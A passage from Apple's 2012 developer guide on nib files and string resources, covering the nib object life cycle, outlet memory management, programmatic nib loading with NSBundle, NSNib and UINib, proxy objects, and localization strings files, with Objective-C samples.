Cocoa sound cache; see “About Image and Sound Resources” (page 11). 2. It unarchives the nib object graph data and instantiates the objects. How it initializes each new object depends on the type of the object and how it was encoded in the archive. The nib-loading code uses the following rules (in order) to determine which initialization method to use. a. By default, objects receive an initWithCoder: message. Nib Files The Nib Object Life Cycle 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 12In OS X, the list of standard objects includes the views, cells, menus, and view controllers that are provided by the system and available in the default Xcode library. It also includes any third-party objects that were added to the library using a custom plug-in. Even if you change the class of such an object, Xcode encodes the standard object into the nib file and then tells the archiver to swap in your custom class when the object is unarchived. In iOS, any object that conforms to the NSCoding protocol is initialized using the initWithCoder: method. This includes all subclasses of UIView and UIViewController whether they are part of the default Xcode library or custom classes you define. b. Custom views in OS X receive an initWithFrame: message. Custom views are subclasses of NSView for which Xcode does not have an available implementation. Typically, these are viewsthat you define in your application and use to provide custom visual content. Custom views do not include standard system views(like NSSlider) that are part of the default library or part of an integrated third-party plug-in. When it encounters a custom view, Xcode encodes a special NSCustomView object into your nib file. The custom view object includesthe information it needsto build the real view subclass you specified. At load time, the NSCustomView object sends an alloc and initWithFrame: message to the real view class and then swaps the resulting view object in for itself. The net effect is that the real view object handles subsequent interactions during the nib-loading process. Custom views in iOS do not use the initWithFrame: method for initialization. c. Custom objects other than those described in the preceding steps receive an init message. 3. It reestablishes all connections(actions, outlets, and bindings) between objectsin the nib file. Thisincludes connections to File’s Owner and other placeholder objects. The approach for establishing connections differs depending on the platform: ● Outlet connections ● In OS X, the nib-loading code tries to reconnect outlets using the object’s own methods first. For each outlet, Cocoa looks for a method of the form setOutletName: and calls it if such a method is present. If it cannot find such a method, Cocoa searchesthe object for an instance variable with the corresponding outlet name and tries to set the value directly. If the instance variable cannot be found, no connection is created. In OS X v10.5 and later, setting an outlet also generates a key-value observing (KVO) notification for any registered observers. These notifications may occur before all inter-object connections are reestablished and definitely occur before any awakeFromNib methods of the objects have been called. Prior to v10.5, these notifications are not generated. For more information about KVO notifications, see Key-Value Observing Programming Guide . Nib Files The Nib Object Life Cycle 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 13● In iOS, the nib-loading code uses the setValue:forKey: method to reconnect each outlet. That method similarly looks for an appropriate accessor method and falls back on other means when that fails. For more information about how this method sets values, see its description in NSKeyValueCoding Protocol Reference . Setting an outlet in iOS also generates a KVO notification for any registered observers. These notifications may occur before all inter-object connections are reestablished and definitely occur before any awakeFromNib methods of the objects have been called. For more information about KVO notifications, see Key-Value Observing Programming Guide . ● Action connections ● In OS X, the nib-loading code uses the source object’s setTarget: and setAction: methods to establish the connection to the target object. If the target object does not respond to the action method, no connection is created. If the target object is nil, the action is handled by the responder chain. ● In iOS, the nib-loading code uses the addTarget:action:forControlEvents: method of the UIControl object to configure the action. If the target is nil, the action is handled by the responder chain. ● Bindings ● In OS X, Cocoa usesthe bind:toObject:withKeyPath:options: method of the source object to create the connection between it and its target object. ● Bindings are not supported in iOS. 4. It sends an awakeFromNib message to the appropriate objects in the nib file that define the matching selector: ● In OS X, this message is sent to any interface objects that define the method. It is also sent to the File’s Owner and any placeholder objects that define it as well. ● In iOS, this message is sent only to the interface objects that were instantiated by the nib-loading code. It is not sent to File’s Owner, First Responder, or any other placeholder objects. 5. It displays any windows whose “Visible at launch time” attribute was enabled in the nib file. The order in which the nib-loading code calls the awakeFromNib methods of objects is not guaranteed. In OS X, Cocoa tries to call the awakeFromNib method of File’s Owner last but does not guarantee that behavior. If you need to configure the objects in your nib file further at load time, the most appropriate time to do so is after your nib-loading call returns. At that point, all of the objects are created, initialized, and ready for use. Nib Files The Nib Object Life Cycle 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 14Managing the Lifetimes of Objects from Nib Files Each time you ask the NSBundle or NSNib class to load a nib file, the underlying code creates a new copy of the objects in that file and returns them to you. (The nib-loading code does not recycle nib file objects from a previous load attempt.) You need to ensure that you maintain the new object graph as long as necessary, and disown it when you are finished with it. You typically need strong references to top-level objects to ensure that they are not deallocated; you don’t need strong references to objects lower down in the graph because they’re owned by their parents, and you should minimize the risk of creating strong reference cycles. From a practical perspective, in iOS and OS X outlets should be defined as declared properties. Outlets should generally be weak, except for those from File’s Owner to top-level objects in a nib file (or, in iOS, a storyboard scene) which should be strong. Outlets that you create should therefore typically be weak, because: ● Outlets that you create to subviews of a view controller’s view or a window controller’s window, for example, are arbitrary references between objects that do not imply ownership. ● The strong outlets are frequently specified by framework classes (for example, UIViewController’s view outlet, or NSWindowController’s window outlet). @property (weak) IBOutlet MyView *viewContainerSubview; @property (strong) IBOutlet MyOtherClass *topLevelObject; Note: InOS X, not all classessupport weak references; these are NSATSTypesetter, NSColorSpace, NSFont, NSFontManager, NSFontPanel, NSImage, NSMenuView, NSParagraphStyle, NSSimpleHorizontalTypesetter, NSTableCellView, NSTextView, NSViewController, NSWindow, and NSWindowController, and all classes in the AV Foundation framework. In cases where you cannot therefore specify weak, you should instead use assign: @property (assign) IBOutlet NSTextView *textView; Outlets may be considered private to the defining class; if you prefer, you can hide the property declarations a class extension. For example: // MyClass.h @interface MyClass : MySuperclass @end Nib Files Managing the Lifetimes of Objects from Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 15// MyClass.m @interface MyClass () @property (weak) IBOutlet MyView *viewContainerSubview; @property (strong) IBOutlet MyOtherClass *topLevelObject; @end These patterns extend to references from a container view to its subviews where you have to consider the internal consistency of your object graph. For example, in the case of a table view cell, outlets to specific subviews should again typically be weak. If a table view contains an image view and a text view, then these remain valid so long as they are subviews of the table view cell itself. Outlets should be changed to strong when the outlet should be considered to own the referenced object: ● Asindicated previously, thisis often the case with File’s Owner—top level objectsin a nib file are frequently considered to be owned by the File’s Owner. ● You may in some situations need an object from a nib file to exist outside of its original container. For example, you might have an outlet for a view that can be temporarily removed from itsinitial view hierarchy and must therefore be maintained independently. Classes that you expect to be subclassed (in particular abstract classes) expose outlets publicly so that they can be used appropriately by subclasses (e.g. UIViewController’s view outlet). Outlets might also be exposed where there is an expectation that consumers of the class will need to interact with the property; for example a table view cell might expose subviews. In thislatter case, it may be appropriate to expose a read-only public outlet that is redefined privately as read-write, for example: // MyClass.h @interface MyClass : UITableViewCell @property (weak, readonly) MyType *outletName; @end // MyClass.m @interface MyClass () @property (weak, readwrite) IBOutlet MyType *outletName; @end Nib Files Managing the Lifetimes of Objects from Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 16Top-level Objects in OS X May Need Special Handling For historical reasons, in OS X the top-level objects in a nib file are created with an additional reference count. The Application Kit offers a couple of features that help to ensure that nib objects are properly released: ● NSWindow objects (including panels) have an isReleasedWhenClosed attribute, which if set to YES instructs the window to release itself (and consequently all dependent objects in its view hierarchy) when it is closed. In the nib file, you set this option through the “Release when closed” check box in the Attributes pane of the Xcode inspector. ● If the File’s Owner of a nib file is an NSWindowController object (the default in document nibs in document-based applications—recall that NSDocument manages an instance of NSWindowController) or an NSViewController object, it automatically disposes of the windows it manages. If the File’s Owner is not an instance of NSWindowController or NSViewController, then you need to decrement the reference count of the top level objects yourself. With manual reference counting, it was possible to achieve this by sending top-level objects a release message. You cannot do this with ARC. Instead, you cast references to top-level objects to a Core Foundation type and use CFRelease. (If you don’t want to have outlets to all top-level objects, you can use the instantiateNibWithOwner:topLevelObjects: method of the NSNib class to get an array of a nib file’s top-level objects.) Legacy Patterns Prior to ARC, the rules for managing nib objects are different from those described above. How you manage the objects depends on the platform and on the memory model in use. Whichever platform you develop for, you should define outlets using the Objective-C declared properties feature. The general form of the declaration should be: @property (attributes) IBOutlet UserInterfaceElementClass *anOutlet; Because the behavior of outlets depends on the platform, the actual declaration differs: ● For iOS, you should use: @property (nonatomic, retain) IBOutlet UserInterfaceElementClass *anOutlet; ● For OS X, you should use: @property (assign) IBOutlet UserInterfaceElementClass *anOutlet; Nib Files Managing the Lifetimes of Objects from Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 17You should then either synthesize the corresponding accessor methods, or implement them according to the declaration, and (in iOS) release the corresponding variable in dealloc. This pattern also works if you use the modern runtime and synthesize the instance variables, so it remains consistent across all situations. Managing Nib Objects in iOS Top-Level Objects Objects in the nib file are created with a retain count of 1 and then autoreleased. As it rebuilds the object hierarchy, UIKit reestablishes connections between the objects using setValue:forKey:, which uses the available setter method or retains the object by default if no setter method is available. This means that (assuming you follow the pattern shown above) any object for which you have an outlet remains valid. If there are any top-level objects you do not store in outlets, however, you must retain either the array returned by the loadNibNamed:owner:options: method or the objects inside the array to prevent those objects from being released prematurely. Memory Warnings When a view controller receives a memory warning (didReceiveMemoryWarning), it should relinquish ownership of resources that are currently not needed and that can be recreated later if required. One such resource is the view controller's view itself. If it does not have a superview, the view is disposed of (in its implementation of didReceiveMemoryWarning, UIViewController invokes [self setView:nil]). Because outlets to elements within the nib file are typically retained, however, even though the main view is disposed of, absent any further action the outlets are not disposed of. This is not in and of itself a problem—if and when the main view is reloaded, they will simply be replaced—but it does mean that the beneficial effect of the didReceiveMemoryWarning is reduced. To ensure that you properly relinquish ownership of outlets, in your custom view controller class you can implement viewDidUnload to invoke your accessor methods to set outlets to nil. - (void)viewDidUnload { self.anOutlet = nil; [super viewDidUnload]; } Nib Files Managing the Lifetimes of Objects from Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 18Managing Nib Objects in OS X In OS X, the File’s Owner of a nib file is by default responsible for releasing the top-level objects in a nib file as well as any non-object resources created by the objects in the nib. The release of the root object of an object graph sets in motion the release of all dependent objects. The File’s Owner of an application’s main nib file (which containsthe application menu and possibly other items) isthe global application object NSApp. However, when a Cocoa application terminates, top level objects in the main nib do not automatically get dealloc messages just because NSApp is being deallocated. In other words, even in the main nib file, you have to manage the memory of top-level objects. The Application Kit offers a couple of features that help to ensure that nib objects are properly released: ● NSWindow objects (including panels) have an isReleasedWhenClosed attribute, which if set to YES instructs the window to release itself (and consequently all dependent objects in its view hierarchy) when it is closed. In the nib file, you set this option through the “Release when closed” check box in the Attributes pane of the inspector. ● If the File’s Owner of a nib file is an NSWindowController object (the default in document nibs in document-based applications—recall that NSDocument manages an instance of NSWindowController), it automatically disposes of the windows it manages. So in general, you are responsible for releasing top-level objects in a nib file. But in practice, if your nib file’s owner is an instance of NSWindowController it releases the top-level object for you. If one of your objects loads the nib itself (and the owner is not an instance of NSWindowController), you can define outlets to each top-level object so that at the appropriate time you can release them using those references. If you don’t wantto have outletsto alltop-level objects, you can use the instantiateNibWithOwner:topLevelObjects: method of the NSNib class to get an array of a nib file’s top-level objects. The issue of responsibility for nib object disposal becomes clearer when you consider the various kinds of applications. Most Cocoa applications are of two kinds: single window applications and document-based applications. In both cases, memory management of nib objects is automatically handled for you to some degree. With single-window applications, objects in the main nib file persist through the runtime life of the application and are released when the application terminates; however, dealloc is not guaranteed to be automatically invoked on objects from the main nib file when an application terminates. In document-based applications each document window is managed by an NSWindowController object which handles memory management for a document nib file. Some applications may have a more complex arrangement of nib files and top-level objects. For example, an application could have multiple nib files with multiple window controllers, loadable panels, and inspectors. But in most of these cases, if you use NSWindowController objects to manage windows and panels or if you set the “released when closed” window attribute, memory management is largely taken care of. If you decide against using window controllers and do not want to set the “release when closed” attribute, you should Nib Files Managing the Lifetimes of Objects from Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 19explicitly free your nib file’s windows and other top-level objects when the window is closed. Also, if your application uses an inspector panel, (after being lazily loaded) the panel should typically persist throughout the lifetime of the application—there is no need to dispose of the inspector and its resources. Action Methods Broadly speaking, action methods(see Target-Action in OS X or Target-Action in iOS) are methodsthat are typically invoked by another object in a nib file. Action methods use type qualifier IBAction, which is used in place of the void return type, to flag the declared method as an action so that Xcode is aware of it. @interface MyClass - (IBAction)myActionMethod:(id)sender; @end You may choose to regard action methods as being private to your class and thus not declare them in the public @interface. (Because Xcode parses implementation files, there is no need to declare them in the header.) // MyClass.h @interface MyClass @end // MyClass.m @implementation MyClass - (IBAction)myActionMethod:(id)sender { // Implementation. } @end You should typically not invoke an action method programmatically. If your class needs to perform the work associated with the action method, then you should factor the implementation into a different method that is then invoked by the action method. // MyClass.h Nib Files Action Methods 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 20@interface MyClass @end // MyClass.m @interface MyClass (PrivateMethods) - (void)doSomething; - (void)doWorkThatRequiresMeToDoSomething; @end @implementation MyClass - (IBAction)myActionMethod:(id)sender { [self doSomething]; } - (void)doSomething { // Implementation. } - (void)doWorkThatRequiresMeToDoSomething { // Pre-processing. [self doSomething]; // Post-processing. } @end Built-In Support For Nib Files The AppKit and UIKit frameworks both provide a certain amount of automated behavior for loading and managing nib files in an application. Both frameworks provide infrastructure for loading an application’s main nib file. In addition, the AppKit framework providessupport for loading other nib filesthrough the NSDocument and NSWindowController classes. The following sections describe the built-in support for nib files, how you can take advantage of it, and ways to modify that support in your own applications. Nib Files Built-In Support For Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 21The Application Loads the Main Nib File Most of the Xcode project templates for applications come preconfigured with a main nib file already in place. All you have to do is modify this default nib file in the nib file and build your application. At launch time, the application’s default configuration data tells the application object where to find this nib file so that it can load it. In applications based on either AppKit and UIKit, this configuration data is located in the application’s Info.plist file. When an application is first loaded, the default application startup code looks in the Info.plist file for the NSMainNibFile key. If it findsit, it looksin the application bundle for a nib file whose name (with or without the filename extension) matches the value of that key and loads it. Each View Controller Manages its Own Nib File The UIViewController (iOS) and NSViewController (OS X) classessupport the automatic loading of their associated nib file. If you specify a nib file when creating the view controller, that nib file isloaded automatically when you try to access the view controller’s view. Any connections between the view controller and the nib file objects are created automatically, and in iOS, the UIViewController object also receives additional notifications when the views are finally loaded and displayed on screen. To help manage memory better, the UIViewController class also handles the unloading of its nib file (as appropriate) during low-memory conditions. For more information about how you use the UIViewController class and how you configure it, see View Controller Programming Guide for iOS . Document and Window Controllers Load Their Associated Nib File In the AppKit framework, the NSDocument class works with the default window controller to load the nib file containing your document window. The windowNibName method of NSDocument is a convenience method that you can use to specify the nib file containing the corresponding document window. When a new document is created, the document object passes the nib file name you specify to the default window controller object, which loads and manages the contents of the nib file. If you use the standard templates provided by Xcode, the only thing you have to do is add the contents of your document window to the nib file. The NSWindowController class also provides automatic support for loading nib files. If you create custom window controllers programmatically, you have the option of initializing them with an NSWindow object or with the name of a nib file. If you choose the latter option, the NSWindowController class automatically loads the specified nib file the first time a client tries to access the window. After that, the window controller keeps the window around in memory; it does not reload it from the nib file, even if the window’s “Release when closed” attribute is set. Nib Files Built-In Support For Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 22Important: When using either NSWindowController or NSDocument to load windows automatically, it is important that your nib file be configured correctly. Both classes include a window outlet that you must connect to the window you want them to manage. If you do not connect this outlet to a window object, the nib file is loaded but the document or window controller does not display the window. For more information about the Cocoa document architecture, see Document-Based App Programming Guide for Mac . Loading Nib Files Programmatically Both OS X and iOS provide convenience methods for loading nib files into your application. Both the AppKit and UIKit framework define additional methods on the NSBundle class that support the loading of nib files. In addition, the AppKit framework also provides the NSNib class, which provides similar nib-loading behavior as NSBundle but offers some additional advantages that might be useful in specific situations. As you plan out your application, make sure any nib files you plan to load manually are configured in a way that simplifies the loading process. Choosing an appropriate object for File’s Owner and keeping your nib files small can greatly improve their ease of use and memory efficiency. For more tips on configuring your nib files, see “Nib File Design Guidelines” (page 11). Loading Nib Files Using NSBundle The AppKit and UIKit frameworks define additional methods on the NSBundle class (using Objective-C categories) to support the loading of nib file resources. The semantics for how you use the methods differs between the two platforms as doesthe syntax for the methods. In AppKit, there are more optionsfor accessing bundles in general and so there are correspondingly more methods for loading nib files from those bundles. In UIKit, applications can load nib files only from their main bundle and so fewer options are needed. The methods available on the two platforms are as follows: ● AppKit ● loadNibNamed:owner: class method ● loadNibFile:externalNameTable:withZone: class method ● loadNibFile:externalNameTable:withZone: instance method ● UIKit ● loadNibNamed:owner:options: instance method Nib Files Loading Nib Files Programmatically 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 23Whenever loading a nib file, you should always specify an object to act as File’s Owner of that nib file. The role of the File’s Owner is an important one. It is the primary interface between your running code and the new objects that are about to be created in memory. All of the nib-loading methods provide a way to specify the File’s Owner, either directly or as a parameter in an options dictionary. One of the semantic differences between the way the AppKit and UIKit frameworks handle nib loading is the way the top-level nib objects are returned to your application. In the AppKit framework, you must explicitly request them using one of the loadNibFile:externalNameTable:withZone: methods. In UIKit, the loadNibNamed:owner:options: method returns an array of these objects directly. The simplest way to avoid having to worry about the top-level objects in either case is to store them in outlets of your File’s Owner object and to make sure the setter methods for those outlets retain their values. Because each platform uses different retain semantics, however, you must be sure to send the proper retain or release messages when appropriate. For information about the retention semantics for nib objects, see “Managing the Lifetimes of Objects from Nib Files” (page 15). Listing 1-1 shows a simple example of how to load a nib file using the NSBundle class in an AppKit–based application. As soon as the loadNibNamed:owner: method returns, you can begin using any outlets that refer to the nib file objects. In other words, the entire nib-loading process occurs within the confines of that single call. The nib-loading methods in the AppKit framework return a Boolean value to indicate whether the load operation was successful. Listing 1-1 Loading a nib file from the current bundle - (BOOL)loadMyNibFile { // The myNib file must be in the bundle that defines self's class. if (![NSBundle loadNibNamed:@"myNib" owner:self]) { NSLog(@"Warning! Could not load myNib file.\n"); return NO; } return YES; } Listing 1-2 shows an example of how to load a nib file in a UIKit–based application. In this case, the method checks the returned array to see if the nib objects were loaded successfully. (Every nib file should have at least one top-level object representing the contents of the nib file.) This example shows the simple case when the nib file contains no placeholder objects other than the File’s Owner object. For an example of how to specify additional placeholder objects, see “Replacing Proxy Objects at Load Time” (page 28). Nib Files Loading Nib Files Programmatically 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 24Listing 1-2 Loading a nib in an iPhone application - (BOOL)loadMyNibFile { NSArray* topLevelObjs = nil; topLevelObjs = [[NSBundle mainBundle] loadNibNamed:@"myNib" owner:self options:nil]; if (topLevelObjs == nil) { NSLog(@"Error! Could not load myNib file.\n"); return NO; } return YES; } Note: If you are developing a Universal application for iOS, you can use the device-specific naming conventionsto load the correct nib file for the underlying device automatically. For more information about how to name your nib files, see “iOS Supports Device-Specific Resources” (page 7). Getting a Nib File’s Top-Level Objects The easiest way to get the top-level objects of your nib file is to define outlets in the File’s Owner object along with setter methods (or better yet, properties) for accessing those objects. This approach ensures that the top-level objects are retained by your object and that you always have references to them. Listing 1-3 shows the interface and implementation of a simplified Cocoa class that uses an outlet to retain the nib file’s only top-level object. In this case, the only top-level object in the nib file is an NSWindow object. Because top-level objects in Cocoa have an initial retain count of 1, an extra release message is included. This is fine because by the time the release call is made, the property has already been retained the window. You would not want to release top-level objects in this manner in an iPhone application. Listing 1-3 Using outlets to get the top-level objects // Class interface @interface MyController : NSObject { NSWindow *window; } Nib Files Loading Nib Files Programmatically 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 25@property(retain) IBOutlet NSWindow *window; - (void)loadMyWindow; @end // Class implementation @implementation MyController // The synthesized property retains the window automatically. @synthesize window; - (void)loadMyWindow { [NSBundle loadNibNamed:@"myNib" owner:self]; // The window starts off with a retain count of 1 // and is then retained by the property, so add an extra release. [window release]; } @end If you do not want to use outlets to store references to your nib file’s top-level objects, you must retrieve those objects manually in your code. The technique for obtaining the top-level objects differs depending on the target platform. In OS X, you must ask for the objects explicitly, whereas in iOS they are returned to you automatically. Listing 1-4 showsthe processfor getting the top-level objects of a nib file in OS X. This method places a mutable array into the nameTable dictionary and associatesit with the NSNibTopLevelObjects key. The nib-loading code looks for this array object and, if present, places the top-level objects in it. Because each object starts with a retain count of 1 before it is added to the array, simply releasing the array is not enough to release the objects in the array as well. As a result, this method sends a release message to each of the objects to ensure that the array is the only entity holding a reference to them. Listing 1-4 Getting the top-level objects from a nib file at runtime - (NSArray*)loadMyNibFile { Nib Files Loading Nib Files Programmatically 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 26NSBundle* aBundle = [NSBundle mainBundle]; NSMutableArray* topLevelObjs = [NSMutableArray array]; NSDictionary* nameTable = [NSDictionary dictionaryWithObjectsAndKeys: self, NSNibOwner, topLevelObjs, NSNibTopLevelObjects, nil]; if (![aBundle loadNibFile:@"myNib" externalNameTable:nameTable withZone:nil]) { NSLog(@"Warning! Could not load myNib file.\n"); return nil; } // Release the objects so that they are just owned by the array. [topLevelObjs makeObjectsPerformSelector:@selector(release)]; return topLevelObjs; } Obtaining the top-level objects in an iPhone application is much simpler and is shown in Listing 1-2 (page 25). In the UIKit framework, the loadNibNamed:owner:options: method of NSBundle automatically returns an array with the top-level objects. In addition, by the time the array is returned, the retain counts on the objects are adjusted so that you do not need to send each object an extra release message. The returned array is the only owner of the objects. Loading Nib Files Using UINib and NSNib The UINib (iOS) and NSNib (OS X) classes provide better performance in situations where you want to create multiple copies of a nib file’s contents. The normal nib-loading process involves reading the nib file from disk and then instantiating the objects it contains. However, with the UINib and NSNib classes, the nib file is read from disk once and the contents are stored in memory. Because they are in memory, creating successive sets of objects takes less time because it does not require accessing the disk. Using the UINib and NSNib classes is always a two-step process. First, you create an instance of the class and initialize it with the nib file’s location information. Second, you instantiate the contents of the nib file to load the objects into memory. Each time you instantiate the nib file, you specify a different File’s Owner object and receive a new set of top-level objects. Nib Files Loading Nib Files Programmatically 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 27Listing 1-5 shows one way to load the contents of a nib file using the NSNib class in OS X. The array returned to you by the instantiateNibWithOwner:topLevelObjects: method comes already autoreleased. If you intend to use that array for any period of time, you should make a copy of it. Listing 1-5 Loading a nib file using NSNib - (NSArray*)loadMyNibFile { NSNib* aNib = [[NSNib alloc] initWithNibNamed:@"MyPanel" bundle:nil]; NSArray* topLevelObjs = nil; if (![aNib instantiateNibWithOwner:self topLevelObjects:&topLevelObjs]) { NSLog(@"Warning! Could not load nib file.\n"); return nil; } // Release the raw nib data. [aNib release]; // Release the top-level objects so that they are just owned by the array. [topLevelObjs makeObjectsPerformSelector:@selector(release)]; // Do not autorelease topLevelObjs. return topLevelObjs; } Replacing Proxy Objects at Load Time In iOS, it is possible to create nib files that include placeholder objects besides the File’s Owner. Proxy objects represent objects created outside of the nib file but which have some connection to the nib file’s contents. Proxies are commonly used to support navigation controllers in iPhone applications. When working with navigation controllers, you typically connect the File’s Owner object to some common object such as your application delegate. Proxy objects therefore represent the parts of the navigation controller object hierarchy that are already loaded in memory, because they were created programmatically or loaded from a different nib file. Nib Files Loading Nib Files Programmatically 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 28Note: Custom placeholder objects (other than File’s Owner) are not supported in OS X nib files. Each placeholder object you add to a nib file must have a unique name. To assign a name to an object, select the object in Xcode and open the inspector window. The Attributes pane of the inspector contains a Name field, which you use to specify the name for your placeholder object. The name you assign should be descriptive of the object’s behavior or type, but really it can be anything you want. When you are ready to load a nib file containing placeholder objects, you mustspecify the replacement objects for any proxies when you call the loadNibNamed:owner:options: method. The options parameter of this method accepts a dictionary of additional information. You use this dictionary to pass in the information about your placeholder objects. The dictionary must contain the UINibExternalObjects key whose value is another dictionary containing the name and object for each placeholder replacement. Listing 1-6 shows a sample version of an applicationDidFinishLaunching: method that loads the application’s main nib file manually. Because the application’s delegate object is created by the UIApplicationMain function, this method uses a placeholder (with the name “AppDelegate”) in the main nib file to represent that object. The proxies dictionary stores the placeholder object information and the options dictionary wraps that dictionary. Listing 1-6 Replacing placeholder objects in a nib file - (void)applicationDidFinishLaunching:(UIApplication *)application { NSArray* topLevelObjs = nil; NSDictionary* proxies = [NSDictionary dictionaryWithObject:self forKey:@"AppDelegate"]; NSDictionary* options = [NSDictionary dictionaryWithObject:proxies forKey:UINibExternalObjects]; topLevelObjs = [[NSBundle mainBundle] loadNibNamed:@"Main" owner:self options:options]; if ([topLevelObjs count] == 0) { NSLog(@"Warning! Could not load myNib file.\n"); return; } // Show window [window makeKeyAndVisible]; Nib Files Loading Nib Files Programmatically 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 29} For more information about the options dictionary of the loadNibNamed:owner:options: method, see NSBundle UIKit Additions Reference . Accessing the Contents of a Nib File Upon the successful loading a nib file, its contents become ready for you to use immediately. If you configured outlets in your File’s Owner to point to nib file objects, you can now use those outlets. If you did not configure your File’s Owner with any outlets, you should make sure you obtain a reference to the top-level objects in some manner so that you can release them later. Because outlets are populated with real objects when a nib file is loaded, you can subsequently use outlets as you would any other object you created programmatically. For example, if you have an outlet pointing to a window, you could send that window a makeKeyAndOrderFront: message to show it on the user’s screen. When you are done using the objects in your nib file, you must release them like any other objects. Important: You are responsible for releasing the top-level objects of any nib files you load when you are finished with those objects. Failure to do so is a cause of memory leaksin many applications. After releasing the top-level objects, it is a good idea to clear any outlets pointing to objects in the nib file by setting them to nil. You should clear outlets associated with all of the nib file’s objects, not just the top-level objects. Connecting Menu Items Across Nib Files The items in an OS X application’s menu bar often need to interact with many different objects, including your application’s documents and windows. The problem is that many of these objects cannot (or should not) be accessed directly from the main nib file. The File’s Owner of the main nib file is always set to an instance of the NSApplication class. And although you might be able to instantiate a number of custom objects in your main nib file, doing so is hardly practical or necessary. In the case of document objects, connecting directly to a specific document object is not even possible because the number of document objects can change dynamically and can even be zero. Most menu items send action messages to one of the following: ● A fixed object that always handles the command ● A dynamic object, such as a document or window Nib Files Connecting Menu Items Across Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 30Messaging fixed objects is a relatively straightforward process that is usually best handled through the application delegate. The application delegate object assiststhe NSApplication objectin running the application and is one of the few objects that rightfully belongs in the main nib file. If the menu item refers to an application-level command, you can implement that command directly in the application delegate or just have the delegate forward the message to the appropriate object elsewhere in your application. If you have a menu item that acts on the contents of the frontmost window, you need to link the menu item to the First Responder placeholder object. If the action method associated with the menu item is specific to one of your objects(and not defined by Cocoa), you must add that action to the First Responder before creating the connection. After creating the connection, you need to implement the action method in your custom class. That object should also implement the validateMenuItem: method to enable the menu item at appropriate times. For more information about how the responder chain handles commands, see Cocoa Event Handling Guide . Nib Files Connecting Menu Items Across Nib Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 31An important part of the localization process is to localize all of the text strings displayed by your application. By their nature, strings located in nib files can be readily localized along with the rest of the nib file contents. Strings embedded in your code, however, must be extracted, localized, and then reinserted back into your code. To simplify this process—and to make the maintenance of your code easier—OS X and iOS provide the infrastructure needed to separate strings from your code and place them into resource files where they can be localized easily. Resource filesthat contain localizable strings are referred to as strings files because of their filename extension, which is .strings. You can create strings files manually or programmatically depending on your needs. The standard strings file format consists of one or more key-value pairs along with optional comments. The key and value in a given pair are strings of text enclosed in double quotation marks and separated by an equal sign. (You can also use a property list format for strings files. In such a case, the top-level node is a dictionary and each key-value pair of that dictionary is a string entry.) Listing 2-1 shows a simple strings file that contains non-localized entries for the default language. When you need to display a string, you pass the string on the left to one of the available string-loading routines. What you get back isthe matching value string containing the text translation that is most appropriate for the current user. For the development language, it is common to use the same string for both the key and value, but doing so is not required. Listing 2-1 A simple strings file /* Insert Element menu item */ "Insert Element" = "Insert Element"; /* Error string used for unknown error types. */ "ErrorString_1" = "An unknown error occurred."; A typical application has at least one strings file per localization, that is, one strings file in each of the bundle’s .lproj subdirectories. The name of the default strings file is Localizable.strings but you can create stringsfiles with any file name you choose. Creating stringsfilesis discussed in more depth in “Creating Strings Resource Files” (page 33). 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 32 String ResourcesNote: It is recommended that you save strings files using the UTF-16 encoding, which is the default encoding forstandard stringsfiles. It is possible to create stringsfiles using other property-list formats, including binary property-list formats and XML formats that use the UTF-8 encoding, but doing so is not recommended. For more information about the standard strings file format, see “Creating Strings Resource Files” (page 33). For more information about Unicode and its text encodings, go to http://www.unicode.org/ or http://en.wikipedia.org/wiki/Unicode. The loading of string resources (both localized and nonlocalized) ultimately relies on the bundle and internationalization supportfound in bothOS X and iOS. Forinformation about bundles,see Bundle Programming Guide . For more information about internationalization and localization,see Internationalization Programming Topics. Creating Strings Resource Files Although you can create strings files manually, it is rarely necessary to do so. The easiest way to create strings files is to write your code using the appropriate string-loading macros and then use the genstrings command-line tool to extract those strings and create strings files for you. The following sections describe the process of how to set up your source files to facilitate the use of the genstrings tool. For detailed information about the tool, see genstrings man page. Choosing Which Strings to Localize When it comes to localizing your application’s interface, it is not always appropriate to localize every string used by your application. Translation is a costly process, and translating strings that are never seen by the user is a waste of time and money. Strings that are not displayed to the user, such as notification names used internally by your application, do not need to be translated. Consider the following example: if (CFStringHasPrefix(value, CFSTR("-")) { CFArrayAppendValue(myArray, value);}; In this example, the string “-” is used internally and is never seen by the user; therefore, it does not need to be placed in a strings file. The following code shows another example of a string the user would not see. The string "%d %d %s" does not need to be localized, since the user never sees it and it has no effect on anything that the user does see. matches = sscanf(s, "%d %d %s", &first, &last, &other); String Resources Creating Strings Resource Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 33Because nib files are localized separately, you do not need to include strings that are already located inside of a nib file. Some of the strings you should localize, however, include the following: ● Strings that are programmatically added to a window, panel, view, or control and subsequently displayed to the user. This includes strings you pass into standard routines, such as those that display alert boxes. ● Menu item title strings if those strings are added programmatically. For example, if you use custom strings for the Undo menu item, those strings should be in a strings file. ● Error messages that are displayed to the user. ● Any boilerplate text that is displayed to the user. ● Some stringsfromyour application’sinformation property list(Info.plist) file;see Runtime Configuration Guidelines. ● New file and document names. About the String-Loading Macros The Foundation and Core Foundation frameworks define the following macros to make loading strings from a strings file easier: ● Core Foundation macros: ● CFCopyLocalizedString ● CFCopyLocalizedStringFromTable ● CFCopyLocalizedStringFromTableInBundle ● CFCopyLocalizedStringWithDefaultValue ● Foundation macros: ● NSLocalizedString ● NSLocalizedStringFromTable ● NSLocalizedStringFromTableInBundle ● 